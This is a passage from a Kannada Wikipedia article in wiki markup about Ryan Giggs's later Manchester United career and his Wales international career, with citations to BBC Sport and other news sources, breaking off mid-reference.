ಇಂತಹ ಹೊಸ ಜಾಗೆಯಲ್ಲಿ ಗಿಗ್ಸ್ ಅತ್ಯುತ್ತಮ ಆಟ ಪ್ರದರ್ಶಿಸಿದ ಅಲ್ಲದೇ ಇನ್ನಿಬ್ಬರು ಸಹಾಯಕರನ್ನು ತಂದು ಮಿಡ್ಲ್ಸ್ ಬ್ರೊಗ್ ಮತ್ತುಅಲ್ ಬೊರ್ಗ್ ರ ವಿರುದ್ದ ಕೆಲವು ಆಟಗಳನ್ನೂ ಆಡಿದ. ಸರ್ ಫೆರ್ಗುಸನ್ ಅವರ ಸಂದರ್ಶನವೊಂದರಲ್ಲಿ "ರಿಯಾನ್ ಗಿಗ್ಸ್ ಈ ನವೆಂಬರ್ ಗೆ 35ವರ್ಷ ವಯಸ್ಸಿನವನಾಗುತ್ತಾನೆ,ಆದರೂ ಆತ ಯುನೈಟೆಡ್ ತಂಡದ ಪ್ರಮುಖ ಆಟಗಾರ." ರಿಯಾನ್ ಗಿಗ್ಸ್ ತನ್ನ 25ನೆಯ ವಯಸ್ಸಿನಲ್ಲಿ ರಕ್ಷಣಾತ್ಮಕ ಆಟಗಾರರನ್ನು ಚೆಲ್ಲಾಪಿಲ್ಲಿ ಮಾಡುತ್ತಿದ್ದ,ಆದರೆ 35ರಲ್ಲಿ ಆತ ಇನ್ನಷ್ಟು ಆಳವಾದ <ref>{{cite web |url=http://www.manutd.com/default.sps?pagegid=%7BB4CEE8FA%2D9A47%2D47BC%2DB069%2D3F7A2F35DB70%7D&newsid=5928153 |title=Report: MU 1 (6) Chelsea 1 (5) |publisher=ManUtd.com |author=Gemma Thompson |date=21 May 2008 |accessdate=29 January 2009 }}</ref> ಆಟವಾಡುತ್ತಾನೆ." ಗಿಗ್ಸ್ ತನ್ನ ತರಬೇತಿಯ ವಲಯವನ್ನು ಇನ್ನಷ್ಟು ಗಟ್ಟಿಗೊಳಿಸಿದ,ಫೆರ್ಗುಸನ್ನ್ ಕೂಡಾ ತಾನು ನಿವೃತ್ತಿಯಾದ ಬಳಿಕ <ref name="life_after">{{cite news |url=http://www.walesonline.co.uk/footballnation/football-in-wales/2009/01/07/ryan-giggs-faces-up-to-life-after-old-trafford-91466-22622877/2/ |title=Ryan Giggs faces up to life after Old Trafford |publisher=Western Mail |first=Paul |last=Abbandonato |date=7 January 2009 |accessdate=29 January 2009 |archive-date=21 ಸೆಪ್ಟೆಂಬರ್ 2009 |archive-url=https://web.archive.org/web/20090921070909/http://www.walesonline.co.uk/footballnation/football-in-wales/2009/01/07/ryan-giggs-faces-up-to-life-after-old-trafford-91466-22622877/2/ |url-status=dead }}</ref> ಒಲೆ ಗುನ್ನಾರ್ ಸೊಲ್ಸ್ಕೆಜಾರ್ ತರಹ, ಗಿಗ್ಸ್ ನ ಕೋಚಿಂಗ್ ಸಿಬ್ಬಂದಿಯಾಗಿ ಕೆಲಸ ಮಾಡಲು <ref name="life_after"/> ಇಚ್ಛಿಸುತ್ತೇನೆ. [[ಚಿತ್ರ:R giggs.jpg|thumb|ರಿಯಾನ್ ಗಿಗ್ಸ್, 2008]] ರಿಯಾನ್ ಗಿಗ್ಸ್ ಒಬ್ಬನೆ 8 ಫೆಬ್ರವರಿ 2009ರಲ್ಲಿ ಹೇಳಿದ ಪ್ರಕಾರ, ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ನ ಆರಂಭದ 1992ರ ನಂತರದ ಪ್ರತಿಯೊಂದೂ ಪಂದ್ಯದಲ್ಲೂ ಗೋಲು ಬಾರಿಸಲು ಸಮರ್ಥನಾಗಿದ್ದಾನೆ.[[ವೆಸ್ಟ್ ಹ್ಯಾಮ್ ಯುನೈಟೆಡ್]] ಮೇಲೆ ಗೆಲುವು 1-0 ರ ಮೇಲೆ ಸಾಧಿಸಿದ್ದನ್ನು ಆತ <ref>{{cite news |first=Mandeep |last=Sanghera |title=West Ham 0-1 Man Utd |url=http://news.bbc.co.uk/sport1/hi/football/eng_prem/7867122.stm |work=BBC Sport |publisher=British Broadcasting Corporation |date=8 February 2009 |accessdate=9 February 2009 }}</ref> ನೆನಪಿಸುತ್ತಾನೆ. ಆ ವರ್ಷದ <ref>{{cite news |title=Giggs to be offered new contract |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/7850068.stm |work=BBC Sport |publisher=British Broadcasting Corporation |date=25 January 2009 |accessdate=12 February 2009 }}</ref> ಹೊಯ್ದಾಟದಂತೆ ಗಿಗ್ಸ್ ಮೊದಲೇ ಫೆಬ್ರವರಿ 2009ರಲ್ಲಿ ಒಂದು ವರ್ಷದ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿಹಾಕಿ ತನ್ನ ಸದ್ಯದ ಒಪ್ಪಂದವನ್ನು ವಿಸ್ತರಿಸಿಕೊಂಡ.ಇದು ಜೂನ್ 2009ರಲ್ಲಿ ಅವಧಿ ಮುಗಿದು <ref>{{cite news |title=Giggs signs new Man utd contract |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/7885531.stm |work=BBC Sport |publisher=British Broadcasting Corporation |date=12 February 2009 |accessdate=12 February 2009 }}</ref> ಹೋಗುತಿತ್ತು. ಈ ಯಶಸ್ವಿ ಪಂದ್ಯದ ನಂತರ ಗಿಗ್ಸ್ [[ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್]] ತಂಡದ ನಾಲ್ವರು ಸದಸ್ಯರೊಂದಿಗೆ [[PFA ವಾರ್ಷಿಕ ಆಟಗಾರ ಪ್ರಶಸ್ತಿಗೆ ಹೆಸರಿಸಲ್ಪಟ್ಟ|PFA ವಾರ್ಷಿಕ ಆಟಗಾರ ಪ್ರಶಸ್ತಿಗೆ ಹೆಸರಿಸಲ್ಪಟ್ಟ<ref>{{cite news |title=Man Utd dominate PFA awards list |url=http://news.bbc.co.uk/sport1/hi/football/eng_prem/7998204.stm |work=BBC Sport |publisher=British Broadcasting Corporation |date=14 April 2009 |accessdate=14 April 2009 }}</ref>]]. ಅದೇ ವರ್ಷ ಏಪ್ರಿಲ್ 26,2009ರಲ್ಲಿ ಗಿಗ್ಸ್ ಪ್ರಶಸ್ತಿ ಪದೆದುಕೊಂಡ,ಇಡೀ 08/09ರಲ್ಲಿ ಹನ್ನೆರಡು ಪಂದ್ಯಗಳನ್ನಾಡಿದ್ದರೂ ಈ ಪ್ರಶಸ್ತಿ ದೊರಕಿತು.(ಟ್ರೊಫಿ ಪದೆಯುವಾಗಿನ ಸಂದರ್ಭದಲ್ಲಿ) ಆತನ ಇಂತಹ ವಿಶಾಲ ವೃತ್ತಿ ಬದುಕಿನಲ್ಲಿ ಆತ ಇಂತಹ ಮೊದಲ ಪ್ರಶಸ್ತಿಗೆ <ref>{{cite news |title=Giggs earns prestigious PFA award |url=http://news.bbc.co.uk/sport1/hi/football/8019726.stm |work=BBC Sport |publisher=British Broadcasting Corporation |date=26 April 2009 |accessdate=26 April 2009 }}</ref> ಪಾತ್ರನಾದ. ಈ ಪ್ರಶಸ್ತಿಗೂ ಮುನ್ನ [[ಅಲೆಕ್ಸ್ ಫೆರ್ಗುಸನ್]] ಈ ಪ್ರಶಸ್ತಿ ಗೆಲ್ಲಲು ಗಿಗ್ಸ್ ಗೆ ಬೇಕಾದ ಬೆಂಬಲ ಒದಗಿಸಿದ್ದ.ಇಂತಹ ಪ್ರಶಸ್ತಿ ಕೊಟ್ಟದ್ದು ಗಿಗ್ಸ್ ನ ಸುದೀರ್ಘ ಫೂಟ್ಬಾಲ್ ಜೀವನಕ್ಕೆ ಅಗತ್ಯವಿತ್ತು ಎಂದು <ref>{{cite news |title=Ferguson backs Giggs to win award |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/8017632.stm |work=BBC Sport |publisher=British Broadcasting Corporation |date=24 April 2009 |accessdate=24 April 2009 }}</ref> ಹೇಳಿದ. ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಗೆ 2009ರ ಏಪ್ರಿಲ್ 29ರ ಹೊತ್ತಿಗೆ ಗಿಗ್ಸ್ ತನ್ನ 800ನೆಯ ಬಾರಿ ಪಾಲ್ಗೊಂಡ,1-0ನೊಂದಿಗಿನ [[ಅರ್ಸೆನಲ್]] ವಿರುದ್ದ [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]]ಸೆಮಿಫೈನಲ್ ನಲ್ಲಿಆತ ಮಹತ್ವದ ಪಾತ್ರ <ref>{{cite news |title=Man Utd 1-0 Arsenal |url=http://news.bbc.co.uk/sport1/hi/football/europe/8010847.stm |work=BBC Sport |publisher=British Broadcasting Corporation |date=29 April 2009 |accessdate=29 April 2009 }}</ref> ವಹಿಸಿದ. ಮೇ 16,2009ರಲ್ಲಿಅರ್ಸೆನಲ್ ವಿರುದ್ದದ 0-0ಸಮಬಲದಲ್ಲಿ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಗೆಲುವು ಸಾಧಿಸಿತು,ಇದೇ ವೇಳೆಗೆ ಗಿಗ್ಸ್ ಗೆ 11ನೆಯ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಬಿರುದನ್ನು ತಂದು ಕೊಟ್ಟಿತು. <ref name="Bostock">{{cite news |first=Adam |last=Bostock |title=Giggs' glee at first hat-trick |url=http://www.manutd.com/default.sps?pagegid={F9E570E6-407E-44BC-800F-4A3110258114}&newsid=6636836 |work=ManUtd.com |publisher=Manchester United |date=26 July 2009 |accessdate=26 July 2009 }}</ref> ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ನ ಆರಂಭಿಕ ಪಂದ್ಯದಲ್ಲಿ ಗಿಗ್ಸ್ ಹ್ಯಾಟ್ರಿಕ್ ಮಾಡಿದ್ದು [[ಹ್ಯಾಂಗ್ ಝು ಗ್ರೀನ್ ಟೌನ್]] ವಿರುದ್ದ,ಎರಡನೆಯ ಅರ್ಧದ ಅವಧಿಯಲ್ಲಿ ಆತ ಈ ಸಾಧನೆಗೆ <ref name="Bostock"/> ಕಾರಣನಾದ. [[.ವ್ಹೈಟ್ ಹಾರ್ಟ್ ಲೇನ]]ನಲ್ಲಿ 12 ಸೆಪ್ಟೆಂಬರ್ 2009ರಲ್ಲಿ ನಡೆದ ಯುನೈಟೆಡ್ ನ ಮೊದಲ ಗೋಲ್ ನ್ನು 3-1ರ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ನ್ನು [[ತೊಟ್ಟೆನ್ ಹ್ಯಾಮ್ ಹಾಟ್ಸ್ ಪುರ್]] ವಿರ್ದುದ್ದ ಗಿಗ್ಸ್ ಗೋಲ್ ಬಾರಿಸಿದಲ್ಲನದೇ ಈ ತಂಡದ ಆರಂಭದಿಂದಲೂ ಅತಿ ಹೆಚ್ಚು ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಪಂದ್ಯಗಳನ್ನು ಆಡಿದ ಏಕೈಕ ಆಟಗಾರನಾಗಿದ್ದಾನೆ. ಈ ಪಂದ್ಯವು ಯುನೈಟೆಡ್ ಗೆ ಗಿಗ್ಸ್ ಮೂಲಕ 700ನೆಯ ಆರಂಭವನ್ನು ತಂದು <ref>{{cite news |title=Tottenham 1-3 Man Utd |url=http://news.bbc.co.uk/sport1/hi/football/8250984.stm |work=BBC Sport |publisher=BBC Sport |date=12 september 2009 |accessdate=12 September 2009 }}</ref> ಕೊಟ್ಟಿದೆ. ಗಿಗ್ಸ್ ಕ್ಲಬ್ ಗಾಗಿ ತನ್ನ 150ನೆಯ ಗೋಲ್ ನ್ನು ಬಾರಿಸಿ [[ವೂಲ್ಫ್ಸ್ ಬರ್ಗ್]] ವಿರುದ್ದ ತನ್ನ ಮೊದಲ [[ಚಾಂಪಿಯನ್ ಲೀಗ್]] ಪಂದ್ಯದಲ್ಲಿ ಆಟವಾದಿದ್ದನ್ನು ದಾಖಲಿಸಿದ. ಈ ಗೋಲು ಆತನ ಹಿಂದಿನಪಂದ್ಯ ಸ್ಪರ್ಸ್ ವಿರುದ್ದ ನೇರವಾಗಿ ಫ್ರೀ-ಕಿಕ್ ಮೂಲಕ ಸಾಧಿಸಿದ್ದಾಗಿದೆ.ಇಲ್ಲಿಆತನ ಅಪಾರ ಶಕ್ತಿ ಮತ್ತು ಚಾಣಾಕ್ಷತೆಯನ್ನು ಗಿಗ್ಸ್ ತೋರಿದ್ದಾನೆ. ಇದು ಆತನ ದಾಖಲೆ ಸಮಗಟ್ಟುವ 14ನೆಯ [[ಚಾಂಪಿಯನ್ ಲೀಗ್]] ಪಂದ್ಯಾವಳಿಗಳ ಗೋಲಾಗಿದೆ,[[ರೌಲ್]] ಇದೇ ತೆರನಾದ ದಾಖಲೆಯನ್ನು 15ದಿನಗಳ ಹಿಂದೆ ಮಾಡಿದ್ದ. ನಂತರ ಆತ [[ಮೈಕೆಲ್ ಕ್ಯಾರಿಕ್]] ಗೆ ಗೆಲುವಿನ್ ಗೋಲ್ ಮಾಡಲು 2-1ರ ಅಂತರದಲ್ಲಿ ಯುನೈಟೆಡ್ ವಿಜಯಕ್ಕೆ [[ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ನ ಹೊಸಬರೊಂದಿಗೆ ಆತ ತನ್ನ ಉತ್ತಮ ಆಟ <ref>{{cite news |title=Man Utd 2-1 Wolsfburg |url=http://news.bbc.co.uk/sport1/hi/football/europe/8278799.stm |work=BBC Sport |publisher=BBC Sport |date=30 september 2009 |accessdate=30 September 2009 }}</ref> ಪ್ರದರ್ಶಿಸಿದ. ನವೆಂಬರ್ 28, 2009ರಂದು ಗಿಗ್ಸ್ ತನ್ನ 36ನೆಯ ಹುಟ್ಟುಹಬ್ಬದಂದು ತನ್ನ 100ನೆಯ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಗೋಲ್ ಬಾರಿಸಿ,ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಈ ಮೂಲಕ 4-1 ಗೋಲಿನಿಂದ [[ಫ್ರಾಟನ್ ಪಾರ್ಕ್]] ನಲ್ಲಿ [[ಪೋರ್ಟ್ಸ್ ಮೌಥ್]] ವಿರುದ್ದ ಯುನೈಟೆಡ್ ಗಾಗಿ ಸೆಣಸಾಡಿದ. ಈ ಗೋಲ್ ಆತನ ಹಿಂದಿನ ಸ್ಟ್ರೈಕ್ ನಂತೆ ಈ ಪಂದ್ಯದಲ್ಲಿ ಮತ್ತೊಂದು ವಿಚಿತ್ರ ಆಟವಾಗಿತ್ತು.[[ಕ್ರಿಸ್ಟಿಯಾನೊ ರೊನಾಲ್ಡೊ]] ಕೂಡ [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್]] ನಲ್ಲಿ17ನೆಯ ಆಟಗಾರನಾಗಿ ತನ್ನ ಮೈಲಿಗಲ್ಲು <ref>{{cite news |title=Portsmouth 1-4 Man Utd |url=http://news.bbc.co.uk/sport1/hi/football/eng_prem/8377193.stm |work=BBC Sport |publisher=BBC Sport |date=28 November 2009 |accessdate=28 November 2009 }}</ref> ಸ್ಥಾಪಿಸಿದ. ನವೆಂಬರ್ 30 2009ರಲ್ಲಿ ಆತ ತನ್ನ 36ನೆಯ ಹುಟ್ಟುಹಬ್ಬದಂದು ಇನ್ನೊಂದು ವರ್ಷದ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದ,ಇದು 2010-11ರ ವರೆಗೆ ಬಹುಶ: ನಡೆದು ಹೋಗಬಹುದು.ಈ ಹಿಂದೆ ಆತ ಯುನೈಟೆಡ್ ನ ಮೊದಲ ಆಟ ಮೊದಲ ಗೋಲ್ ಬಾರಿಸಿದ್ದನ್ನು ಸಹ <ref>[http://www.dailymail.co.uk/sport/football/article-1232071/Manchester-United-great-Ryan-Giggs-offered-12-month-contract-extension-stay-club-2011.html ]</ref> ಹೇಳಬಹುದು. ಅದೇ ದಿನ ಗಿಗ್ಸ್ BBC ಕ್ರೀಡಾ ವಾರ್ಷಿಕ 2009ರ ವ್ಯಕ್ತಿ ಎಂದು ಹೆಸರಿಸಲಾಯಿತು. ಡಿಸೆಂಬರ್ 5,2009'ರಲ್ಲಿ [[ವೆಸ್ಟ್ ಹ್ಯಾಮ್ ಯುನೈಟೆಡ್]] ವಿರುದ್ದದ ಆಟದಲ್ಲಿ ಎಡ-ಭಾಗದಲ್ಲಿ ರಕ್ಷಣಾ ವ್ಯವಸ್ಥೆಯಲ್ಲಿ ಆತ ಪಾಲ್ಗೊಂಡು [[ಗ್ಯಾರಿ ಸ್ಪೀಡ್]] ನ 535ರ ದಾಖಲೆಯು [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್]] ನೊಂದಿಗೆ ಆತನೂ ಸಮವಾಗಿದ್ದ. ಡಿಸೆಂಬರ್ 12ರಂದು ಗಿಗ್ಸ್ [[ಆಸ್ಟೊನ್ ವಿಲ್ಲಾ]]ದ ವಿರುದ್ದ ಆಟದಲ್ಲಿ ಸ್ಪೀಡ್ ನ ದಾಖಲೆ ಮುರಿದ. ಮರುವರ್ಷವೇ ಗಿಗ್ಸ್ [[BBC ಯ ಕ್ರೀಡಾವ್ಯಕ್ತಿಯ ವಾರ್ಷಿಕ ಪ್ರಶಸ್ತಿ ಪಡೆದುಕೊಂಡ.]] ಡಿಸೆಂಬರ್ 18,2009ರಲ್ಲಿ ಯುನೈಟೆಡ್ ನೊಂದಿಗೆ ಒಂದು ವರ್ಷದ ಹೆಚ್ಚುವರಿ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿಹಾಕಿದ,ಇದು ಆತನನ್ನು ಜೂನ್ 2011ರ ವರೆಗೆ ಕ್ಲಬ್ ನೊಂದಿಗೆ ಉಳಿಸಿತು.ಅಂದರೆ 20 ವರ್ಷದ ಹಿಂದೆ ಆತ ತನ್ನ ಮೊದಲ ಒಪ್ಪಂದಕ್ಕೆ ಹಾಗು ಮೊದಲ ತಂಡಕ್ಕೆ ಆಟವಾಡಿದ್ದ.ಇದೇ ಕ್ಲಬ್ ನೊಂದಿಗೆ ಆತನ ನಿರಂತರ ಸೇವೆಯೂ <ref>{{cite news |title=Ryan Giggs signs new deal at Manchester United |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/8420524.stm |work=BBC Sport |publisher=BBC Sport |date=18 December 2009 |accessdate=18 December 2009 }}</ref> ಸಂದಿದೆ. ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ತಂಡದ ದಶಕದ ಆಟಗಾರನಾಗಿ ಗಿಗ್ಸ್ ಆಯ್ಕೆಯಾದ. == ಅಂತರರಾಷ್ಟ್ರೀಯ ವೃತ್ತಿ ಜೀವನ == [[ಚಿತ್ರ:Giggs wales x brazil.JPG|thumb|right|ಸೆಪ್ಟೆಂಬರ್ 2006ರಲ್ಲಿ ಬ್ರಾಜಿಲ್ ಜೊತೆಗಿನ ಸ್ನೇಹಪೂರ್ವಕ ಪಂದ್ಯದಲ್ಲಿ ಗಿಗ್ಸ್ ವೇಲ್ಸ್ ನ ನಾಯಕತ್ವ ಪಡೆದಿದ್ದ.]] ವೇಲ್ಶ್ ಪೋಷಕರಿಗೆ ಜನಿಸಿದ ಗಿಗ್ಸ್ [[ಕಾರ್ಡಿಫ್]] ನಲ್ಲಿ ಜನಿಸಿದ;ಅದೂ ಅಲ್ಲದೇ [[ವೇಲ್ಸ್]] ನ್ನು ಅಂತಾರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ಪ್ರತಿನಿಧಿಸಿದ. ಗಿಗ್ಸ್ ಕಿರಿಯ ವಯಸ್ಸಿನಲ್ಲೇ ಇಂಗ್ಲಿಷ್ ಸ್ಕೂಲ್ ಬಾಯ್ಸ್ ತಂಡದ ನಾಯಕತ್ವ ಹೊಂದಿದ್ದ. ವ್ಯತಿರಿಕ್ತವಾದ ಜನಜನಿತ ನಂಬುಗೆಯಂತೆ ಆತ ಪೂರ್ಣ ಇಂಗ್ಲಿಷ್ ತಂಡಕ್ಕೆ ಸೇರಲು ಎಂದೂ ಅಹರ್ಯನಾಗಿರಲಿಲ್ಲ.(ಅದಕ್ಕೆ ಸೇರಿಕೊಳ್ಳಲು ಆಯಾ ಪ್ರಾದೇಶಿಕತೆ ಶಾಲಾ ವ್ಯಾಪ್ತಿ ಕಾರಣವಾಗುತ್ತದೆ.)ಏನೇ ಆದರೂ ಆತನನ್ನು ವೇಲ್ಸಗಾಗಿ ಆಡಲು ಮಾತ್ರ ಆಯ್ಕೆ <ref>{{cite news |author=Mike Adamson and John Ashdown|newspaper=The Guardian|date=6 October 2004|title=Could Ryan Giggs have played for England?|url=https://www.theguardian.com/football/2004/oct/06/theknowledge.sport|accessdate=26 September 2009}}</ref> ಮಾಡಲಾಯಿತು. ಹೇಗೆಯಾದರೂ ಆತ [[ಸಿಯೆರಾ ಲೆಯಿನೆ]]ಗಾಗಿ ತನ್ನ ಸಂಬಂಧಿ ಅಜ್ಜನ ಮೂಲಕ ಅವಕಾಶ ಗಿಟ್ಟಿಸಿದ.<ref name="independent.co.uk">[http://www.independent.co.uk/sport/football-green-the-younger-to-eclipse-giggs-mark-1162623.html ಗ್ರೀನ್ ದಿ ಎಂಗರ್ ಟು ಎಕ್ಲಿಪ್ಸ್ ಗಿಗ್ಸ್ ' ಮಾರ್ಕ್] {{Webarchive|url=https://web.archive.org/web/20100326002802/http://www.independent.co.uk/sport/football-green-the-younger-to-eclipse-giggs-mark-1162623.html |date=2010-03-26 }} ದಿ ಇಂಡೆಪೆಂಡೆಂಟ್, 3 ಜೂನ್ 1998, ಪುನಪಡೆದದ್ದು ಮತ್ತು 14 ಜೂನ್2009.</ref> ಆತ 1991ರಲ್ಲಿ ತನ್ನ ಮೊದಲ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಆಟದಲ್ಲಿ ಪಾಲ್ಗೊಂಡು ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರನಾದನಲ್ಲದೇ ಏಳು ವರ್ಷಗಲ ಹಿಂದಿನ [[ರಿಯಾನ್ ಗ್ರೀನ್]] ದಾಖಲೆಯನ್ನು ಮುರಿಯುವಲ್ಲಿ <ref name="independent.co.uk"/> ಸಫಲನಾದ. ಸುಮಾರು 1991 ಮತ್ತು 2007ರ ನಡುವೆ ವೆಲ್ಶ್ ನ್ಯಾಶನಲ್ ತಂಡಕ್ಕೆ 64 ಕ್ಯಾಪ್ಸ್ ಮತ್ತು ಹನ್ನೆರಡು ಗೋಲ್ ಗಳನ್ನು ಪಡೆದಿದ್ದ. ಆತ 2004ರಲ್ಲಿ ವೇಲ್ಸ್ ನ [[ನಾಯಕ]]ನಾಗಿ ನೇಮಕವಾದ. ಸ್ನೇಹಪೂರ್ವಕ ಆಡುವ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಆಟಗಳಲ್ಲಿ ಭಾಗವಹಿಸಲು ನಿರಾಸಕ್ತಿ ತೋರಿಸುತ್ತಿದ್ದರಿಂದ ಆತ ಹಲವರಿಂದ ಟೀಕೆಗಳನ್ನು ಎದುರಿಸಬೇಕಾಯಿತು. ಜರ್ಮನಿ ವಿರುದ್ದದ 1991ರ ಚೊಚ್ಚಿಲ ಪಂದ್ಯದಲ್ಲಿಆತ ಹಾಜರಾಗಲಿಲ್ಲ,ಅದೂ ಅಲ್ಲದೇ ಸುಮಾರು ಒಂಬತ್ತು ವರ್ಷಗಳ ವರೆಗೆ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಸ್ನೇಹಪರ ಆಟಗಳಲ್ಲಿ ಭಾಗವಹಿಸಲಿಲ್ಲ,ಹೀಗೆ ಆತ 18 ಸತತ ಸ್ನೇಹಪರ ಆಟಗಳನ್ನು ತಪ್ಪಿಸಿಕೊಂಡ. ಇಂತಹ ಹಲವಾರು ಸ್ನೇಹಪರ ಪಂದ್ಯಗಳಲ್ಲಿ ಗಿಗ್ಸ್ ಸಾಕಷ್ಟು ಬಾರಿ ಗಾಯಗೊಂಡಿದ್ದಾನೆ.<ref name="Walker">{{cite news |first=Paul |last=Walker |title=Ferguson `protects' Giggs from Wales |url=http://www.findarticles.com/p/articles/mi_qn4158/is_20000302/ai_n14293632 |publisher=[[The Independent]] |date=2 March 2000 |accessdate=29 January 2009 }}</ref> ಆದರೆ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೈಡ್ ಮ್ಯಾನೇಜರ್ ಅಲೆಕ್ಷ್ ಫರ್ಗುಸನ್ ತನ್ನ ಯಾವುದೇ ಆಟಗಾರರನ್ನು ಸ್ನೇಹಪರ ಆಟಗಳಿಗೆ ಆಟಗಾರರನ್ನು ಬಿಟ್ಟುಕೊಡಲು <ref name="Walker"/> ಸಿದ್ದನಿರಲಿಲ್ಲ. ಆದರೆ 2006ರ ವರ್ಲ್ಡ್ ಕಪ್ 2006ರ ಕ್ವಾಲಿಫಾಯರ್ ಪಂದ್ಯದಲ್ಲಿ ಅಜೆರ್ಬೈಜಾನ್ ವಿರುದ್ದದ ಆಕ್ಟೋಬರ್ 2005ರಲ್ಲಿ,ಗಿಗ್ಸ್ 2-0ಗೆಲುವಿನ ಪಂದ್ಯದಲ್ಲಿ ಅಪರೂಪದ ಡಬಲ್ ಗಳಿಸಿದ,ಅಲ್ಲಿ ಆದರೆ ವೇಲ್ಸ್ ಯಶಸ್ವಿ ಪಂದ್ಯವಾಡಲು ಹಿಂದೆ <ref>[http://www.faw.org.uk/fixtures-events/results/match/202 ವೇಲ್ಸ್ 2-0 ಅಜರೆಬೇಜಾನ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಬಿತ್ತು. ವ್ಹೈಟ್ ಹಾರ್ಟ್ ಲೇನ್ ನಲ್ಲಿ ಬ್ರಾಜಿಲ್ ವಿರುದ್ದ ಸೆಪ್ಟೆಂಬರ್ 2006ರಲ್ಲಿ ಒಂದು ಸ್ನೇಹಪೂರ್ವಕ ಪಂದ್ಯದಲ್ಲಿ ಆತ ಆಟವಾಡಿದ. ಬ್ರಾಜಿಲ್ ನ 2-0 ಗೆಲುವಿನ ನಂತರ ಆತ ಬ್ರಾಜಿಲ್ ನ ತರಬೇತಿದಾರ [[ದುಂಗಾ]] ಅವರ ಕಣ್ಣಿಗೆ ಬಿದ್ದ,ಅತನನ್ನು ಅವರು ಅಭಿನಂದಿಸಿದರಲ್ಲದೇ ಐದು ಸಲ ವಿಶ್ವ ಚಾಂಪಿಯನ್ ಗಳಾಗಿದ್ದ ತಾರೆಗಳಾದ [[ಕಾಕಾ]] ಮತ್ತು [[ರೊನಾಲ್ಡಿನೊ]] ಅವರೊಂದಿಗೆ ಆಡುವ ಅವಕಾಶ ಹೊಂದಿರುವುದನ್ನು ಅವರು <ref>{{cite news |title=Brazil's Dunga dazzled by Giggs |url=http://news.bbc.co.uk/sport1/hi/football/internationals/5320010.stm |publisher=[[BBC Sport]] |date=6 September 2006 |accessdate=29 January 2009 }}</ref> ಹೇಳಿದ್ದಾರೆ. ಹಲವರು ಆಶ್ಚರ್ಯರಾಗುವಂತೆ ಗಿಗ್ಸ್ 30ಮೇ 2007ರಲ್ಲಿ ತನ್ನ ನಿವೃತ್ತಿಯನ್ನು ಘೋಷಿಸಿದ,ದಿ ವೇಲ್ ಗ್ಲಾಮೊರ್ಗಾನ್ ಹೊಟೆಲ್ ನಲ್ಲಿ ನಡೆದ ಪತ್ರಿಕಾಗೋಷ್ಟಿಯಲ್ಲಿ ಈ ವಿಷಯ ತಿಳಿಸಿದ ಆತ ತನ್ನ 16 ವರ್ಷಗಳ ಫೂಟ್ಬಾಲ್ ವೃತ್ತಿಗೆ ತೆರೆ <ref name="life_after"/> ಎಳೆದ. ತನ್ನ ಒಟ್ಟಾರೆ ಯುನೈಟೆಡ್ ಜೀವಮಾನದ ಸಾಧನೆಗಾಗಿ ಆತ ಅದನ್ನು ಬಿಟ್ಟು ಹೊರಬಂದ. ವೇಲ್ಸ್ ಗಾಗಿ ಆತನ ಅಂತಿಮ ಆಟ,ಅಂದರೆ ನಾಯಕನಾಗಿ,ಆತ ಯುರೊ2008ರ ಝೆಕ್ ರಿಪಬ್ಲಿಕ್ ವಿರುದ್ದ ಜೂನ್ 2ರಲ್ಲಿ ಆತ ಆಟವಾಡಿದ. ಇದರಲ್ಲಿ ಆತ 64ನೆಯ ಕ್ಯಾಪ್ ಪಡೆದನಲ್ಲದೇ ಮ್ಯಾನ್ ಆಫ್ ದಿ ಮ್ಯಾಚ್ ಪ್ರಶಸ್ತಿಗೆ ಪಾತ್ರನಾದ,ವೇಲ್ಸ್ 0–0.<ref>{{cite news |title=Giggs ends international career |url=http://news.bbc.co.uk/sport1/hi/football/internationals/6703359.stm |publisher=[[BBC Sport]] |date=30 May 2007 |accessdate=29 January 2009 }}</ref> ಸಮಸಮವಾಯಿತು.<ref name="Football Association of Wales">{{citeweb|title=17th Football Presentation Awards Evening|url=http://www.faw.org.uk/news/889|publisher=[[Football Association of Wales]]|date=13 November 2007|accessdate=1 January 2008|archive-date=13 ಮೇ 2008|archive-url=https://www.webarchive.org.uk/wayback/archive/20080513163637/http://www.faw.org.uk/news/889|url-status=dead}}</ref> ನವೆಂಬರ್ ನಲ್ಲಿ ವೇಲ್ಸ್ ನ ವಾರ್ಷಿಕ ಆಟಗಾರ ಎಂದು[[FAW]]ದಿಂದ ಪ್ರಶಸ್ತಿಗೆ ನಾಮಕರನಗೊಂಡರೂ,ಅಂತಿಮ ಆಯ್ಕೆಯಲ್ಲಿ [[ಕ್ರೇಗ್ ಬೆಲ್ಮೆಗೆ]] ಈ ಪ್ರಶಸ್ತಿ <ref name="Football Association of 